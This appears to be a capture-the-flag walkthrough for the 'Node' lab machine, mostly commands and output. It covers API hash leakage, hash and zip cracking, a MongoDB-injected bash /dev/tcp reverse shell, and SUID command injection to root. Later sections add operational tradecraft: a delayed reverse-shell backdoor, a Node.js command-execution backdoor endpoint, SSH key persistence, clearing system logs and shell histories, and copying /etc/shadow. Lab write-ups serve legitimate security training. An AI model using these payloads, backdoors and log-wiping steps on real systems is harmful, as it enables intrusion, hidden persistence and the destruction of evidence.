Machine Synopsis#
Key Exploitation Techniques:
- Node.js API endpoint enumeration for information disclosure
- SHA256 hash cracking for credential recovery
- Zip file password cracking and archive analysis
- MongoDB credential extraction and database access
- SUID binary exploitation through command injection
- Linux kernel privilege escalation (alternative method)
Reconnaissance & Enumeration#
Port Discovery#
$ nmap -p- --min-rate 10000 10.10.10.58
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
$ nmap -p 22,3000 -sC -sV 10.10.10.58
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
3000/tcp open hadoop-tasktracker Apache Hadoop
| hadoop-datanode-info:
|_ Logs: /login
| hadoop-tasktracker-info:
|_ Logs: /login
|_http-title: MyPlace
Web Application Analysis#


The application on port 3000 hosts “MyPlace” - a Node.js social media application with login and registration functionality.
# Directory enumeration (fails due to wildcard responses)
$ feroxbuster -u http://10.10.10.58:3000
# Returns 200 for all paths due to client-side routing
JavaScript Analysis#
Browser developer tools reveal multiple JavaScript files defining API endpoints:

API Endpoint Discovery#
app.js:
// Route definitions
when('/', {
templateUrl: '/partials/home.html',
controller: 'HomeCtrl'
}).
when('/profiles/:username', {
templateUrl: '/partials/profile.html',
controller: 'ProfileCtrl'
}).
when('/login', {
templateUrl: '/partials/login.html',
controller: 'LoginCtrl'
}).
when('/admin', {
templateUrl: '/partials/admin.html',
controller: 'AdminCtrl'
})
home.js:
$http.get('/api/users/latest').then(function (res) {
$scope.users = res.data;
});
admin.js:
$scope.backup = function () {
$window.open('/api/admin/backup', '_self');
}
$http.get('/api/session')
.then(function (res) {
if (res.data.authenticated) {
$scope.user = res.data.user;
}
else {
$location.path('/login');
}
});
profile.js:
$http.get('/api/users/' + $routeParams.username)
.then(function (res) {
$scope.user = res.data;
});
Exploitation#
API Endpoint Enumeration#
User Discovery#
# Enumerate users via API
$ curl -s http://10.10.10.58:3000/api/users/latest | jq
[
{
"_id": "59a7368398aa325cc03ee51d",
"username": "tom",
"password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
"is_admin": false
},
{
"_id": "59a7368e98aa325cc03ee51e",
"username": "mark",
"password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
"is_admin": false
},
{
"_id": "59aa9781cced6f1d1490fce9",
"username": "rastating",
"password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
"is_admin": false
}
]
# Check for additional users at base endpoint
$ curl -s http://10.10.10.58:3000/api/users/ | jq
[
{
"_id": "59a7365b98aa325cc03ee51c",
"username": "myP14ceAdm1nAcc0uNT",
"password": "dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af",
"is_admin": true
},
{
"_id": "59a7368398aa325cc03ee51d",
"username": "tom",
"password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
"is_admin": false
},
{
"_id": "59a7368e98aa325cc03ee51e",
"username": "mark",
"password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
"is_admin": false
},
{
"_id": "59aa9781cced6f1d1490fce9",
"username": "rastating",
"password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
"is_admin": false
}
]
Key Discovery: Admin user myP14ceAdm1nAcc0uNT
with SHA256 password hash.
Hash Cracking#
# Extract all password hashes
$ curl -s http://10.10.10.58:3000/api/users/ | jq -r '.[].password'
dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240
de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73
5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0
# Crack using CrackStation or hashcat
# Results:
# dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af -> manchester
# f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240 -> spongebob
# de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73 -> snowflake
# 5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0 -> (not cracked)
Credentials Discovered:
myP14ceAdm1nAcc0uNT:manchester
(admin)tom:spongebob
mark:snowflake
Admin Panel Access#
Login to the admin panel with myP14ceAdm1nAcc0uNT:manchester
reveals a backup download functionality.

Backup File Analysis#
# Download backup file
$ curl -b "connect.sid=..." http://10.10.10.58:3000/api/admin/backup -o myplace.backup
# Analyze file type
$ file myplace.backup
myplace.backup: ASCII text, with very long lines (65536), with no line terminators
# Decode Base64 content
$ cat myplace.backup | base64 -d > decoded
$ file decoded
decoded: Zip archive data, at least v1.0 to extract
# Attempt extraction (password protected)
$ unzip decoded.zip
Archive: decoded.zip
creating: var/www/myplace/
[decoded.zip] var/www/myplace/package-lock.json password:
Zip Password Cracking#
# Extract zip hash for cracking
$ zip2john decoded.zip > hash.txt
# Crack password with john
$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=PKZIP
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
magicword (decoded.zip)
Source Code Analysis#
# Extract with discovered password
$ unzip -P magicword decoded.zip
# Analyze application source
$ find var/www/myplace -name "*.js" | head -5
var/www/myplace/app.js
$ grep -i "mongodb\|password\|credential" var/www/myplace/app.js
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
Critical Discovery: MongoDB credentials mark:5AYRft73VtFpc84k
SSH Access#
$ ssh mark@10.10.10.58
mark@10.10.10.58's password: 5AYRft73VtFpc84k
mark@node:~$ whoami
mark
mark@node:~$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark)
Privilege Escalation#
Process Analysis#
mark@node:~$ ps aux | grep node
tom 1218 0.0 5.4 1008056 40992 ? Ssl 03:13 0:01 /usr/bin/node /var/scheduler/app.js
Key Finding: Node.js scheduler running as user tom
MongoDB Exploitation#
# Access MongoDB with discovered credentials
mark@node:~$ mongo -u mark -p 5AYRft73VtFpc84k scheduler
MongoDB shell version: 3.2.16
connecting to: scheduler
> show collections
tasks
> db.tasks.find()
# No current tasks
# Analyze scheduler source code
mark@node:~$ cat /var/scheduler/app.js
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler';
MongoClient.connect(url, function(error, db) {
if (error || !db) {
console.log('[!] Failed to connect to mongodb');
return;
}
setInterval(function () {
db.collection('tasks').find().toArray(function (error, docs) {
if (!error && docs) {
docs.forEach(function (doc) {
if (doc) {
console.log('Executing task ' + doc._id + '...');
exec(doc.cmd);
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
}
});
}
else if (error) {
console.log('[!] Failed to get tasks collection');
}
});
}, 30000);
});
Vulnerability: Scheduler executes doc.cmd
from MongoDB tasks collection every 30 seconds.
MongoDB Command Injection#
# Setup netcat listener
$ nc -nlvp 9999
# Insert malicious task in MongoDB
mark@node:~$ mongo -u mark -p 5AYRft73VtFpc84k scheduler
> db.tasks.insert({"cmd":"bash -c 'exec bash -i &>/dev/tcp/10.10.14.6/9999 <&1'"})
WriteResult({ "nInserted" : 1 })
> db.tasks.find()
{ "_id" : ObjectId("6292dff2ead14f78ff847f09"), "cmd" : "bash -c 'exec bash -i &>/dev/tcp/10.10.14.6/9999 <&1'" }
# Reverse shell received as tom
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.58] 35994
bash: cannot set terminal process group (1218): Inappropriate ioctl for device
bash: no job control in this shell
tom@node:/$ whoami
tom
tom@node:/$ python3 -c 'import pty;pty.spawn("/bin/bash")'
tom@node:/$ cat /home/tom/user.txt
e1156acc3574e04b06908ecf76be91b1
SUID Binary Discovery#
tom@node:/$ find / -type f -user root -perm -4000 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/local/bin/backup
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/newgidmap
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/bin/fusermount
Key Finding: Custom SUID binary /usr/local/bin/backup
SUID Binary Analysis#
# Transfer binary for analysis
tom@node:/usr/local/bin$ nc 10.10.14.6 1234 < /usr/local/bin/backup
# On attacker machine
$ nc -nlvp 1234 > backup
$ chmod +x backup
# Analyze with strings
$ strings backup | head -20
...
zip -r
...
# Analyze with ltrace
$ ltrace ./backup 1 2 3
strcmp("1", "-q") = 1
...
fopen("/etc/myplace/keys", "r") = 0
...

Analysis Results:
- Binary expects 3 arguments
- First argument must be “-q”
- Reads keys from
/etc/myplace/keys
- Creates password-protected zip archives
Binary Exploitation Methods#
Method 1: Wildcard Exploitation#
# Use wildcard to access root directory
tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt > root_zip_b64
# Decode and extract
tom@node:/tmp$ cat root_zip_b64 | base64 --decode > root_zip
tom@node:/tmp$ unzip -P magicword root_zip
Archive: root_zip
extracting: root/root.txt
tom@node:/tmp$ cat root/root.txt
1722e99ca5f353b362556a62bd5e6be0
Method 2: Home Directory Method#
# Set HOME environment variable to /root
tom@node:/tmp$ export HOME=/root
tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "~" > root_home_zip_b64
# Decode and extract full root directory
tom@node:/tmp$ cat root_home_zip_b64 | base64 --decode > root_home_zip
tom@node:/tmp$ unzip -P magicword root_home_zip
Archive: root_home_zip
creating: root/
inflating: root/.profile
inflating: root/.bash_history
creating: root/.cache/
extracting: root/.cache/motd.legal-displayed
extracting: root/root.txt
inflating: root/.bashrc
inflating: root/.viminfo
creating: root/.nano/
extracting: root/.nano/search_history
tom@node:/tmp$ cat root/root.txt
1722e99ca5f353b362556a62bd5e6be0
Method 3: Command Injection#
# Exploit newline injection in zip command
tom@node:/tmp$ newline=\n'
tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "test${newline}/bin/bash${newline}test"
zip warning: name not matched: test
zip error: Nothing to do! (try: zip -r -P magicword /tmp/.backup_1492681799 . -i test)
whoami
root
cat /root/root.txt
1722e99ca5f353b362556a62bd5e6be0
Alternative: Linux Kernel Exploitation#
# Check kernel version
tom@node:/tmp$ uname -a
Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
# Download and compile kernel exploit (CVE-2017-1000253)
$ searchsploit Ubuntu 16.04 Privilege Escalation
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c
# Transfer and execute
tom@node:/tmp$ wget 10.10.14.3/45010.c
tom@node:/tmp$ gcc 45010.c -o 45010
tom@node:/tmp$ ./45010
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
...
[*] credentials patched, launching shell...
# whoami
root
Post-Exploitation Techniques#
Persistence Methods#
SSH Key Persistence#
# Generate SSH key pair
$ ssh-keygen -t rsa -b 4096 -f node_persistence
# Install as root (using any root method)
# mkdir -p /root/.ssh
# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQ..." >> /root/.ssh/authorized_keys
# chmod 600 /root/.ssh/authorized_keys
MongoDB Backdoor#
# Create persistent task that doesn't get deleted
# Add task with longer execution time
> db.tasks.insert({"cmd":"(sleep 3600; bash -i >& /dev/tcp/10.10.14.6/4444 0>&1) &"})
Node.js Application Backdoor#
# Modify application source for backdoor
# cat >> /var/www/myplace/app.js << 'EOF'
app.get('/api/backdoor', function(req, res) {
if (req.query.cmd) {
require('child_process').exec(req.query.cmd, function(error, stdout, stderr) {
res.send(stdout);
});
}
});
EOF
# Access via: http://10.10.10.58:3000/api/backdoor?cmd=id
Defense Evasion#
Log Sanitization#
# Clear Node.js application logs
# > /var/log/nodejs/*.log
# > /var/www/myplace/logs/*.log
# Clear MongoDB logs
# > /var/log/mongodb/mongod.log
# Clear system logs
# > /var/log/auth.log
# > /var/log/syslog
# Clear command histories
# > /root/.bash_history
# > /home/tom/.bash_history
# > /home/mark/.bash_history
Database Cleanup#
# Remove exploitation evidence from MongoDB
> db.tasks.deleteMany({})
> db.tasks.find()
# Should return empty
Lateral Movement Preparation#
Database Enumeration#
# Enumerate all MongoDB databases
> show dbs
admin 0.000GB
local 0.000GB
myplace 0.000GB
scheduler 0.000GB
# Extract user data from myplace database
> use myplace
> show collections
users
> db.users.find()
Credential Harvesting#
# Extract backup keys and credentials
# cat /etc/myplace/keys
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
# Search for additional configuration files
# find /var/www -name "*.json" -exec grep -l "password\|key" {} \;
# Extract shadow file
# cp /etc/shadow /tmp/shadow.backup
Network Service Discovery#
# Check for additional Node.js applications
# ps aux | grep node
# ss -tlnp | grep node
# Check for database connections
# ss -tlnp | grep 27017
# ss -tlnp | grep 3306
Alternative Exploitation Methods#
Direct API Exploitation#
# Test for additional API endpoints
$ ffuf -u http://10.10.10.58:3000/api/FUZZ -w /usr/share/wordlists/common.txt -mc 200
# Test for parameter pollution
$ curl -X POST http://10.10.10.58:3000/api/session/authenticate \
-d "username=admin&password=admin&is_admin=true"
MongoDB Injection Testing#
# Test for NoSQL injection in login
$ curl -X POST http://10.10.10.58:3000/api/session/authenticate \
-H "Content-Type: application/json" \
-d '{"username": {"$ne": ""}, "password": {"$ne": ""}}'
Source Code Analysis#
# Search for hardcoded credentials
$ grep -r "password\|secret\|key" var/www/myplace/ | grep -v node_modules
# Look for additional API endpoints
$ grep -r "app\.\(get\|post\|put\|delete\)" var/www/myplace/
# Check for vulnerable dependencies
$ cat var/www/myplace/package.json | jq .dependencies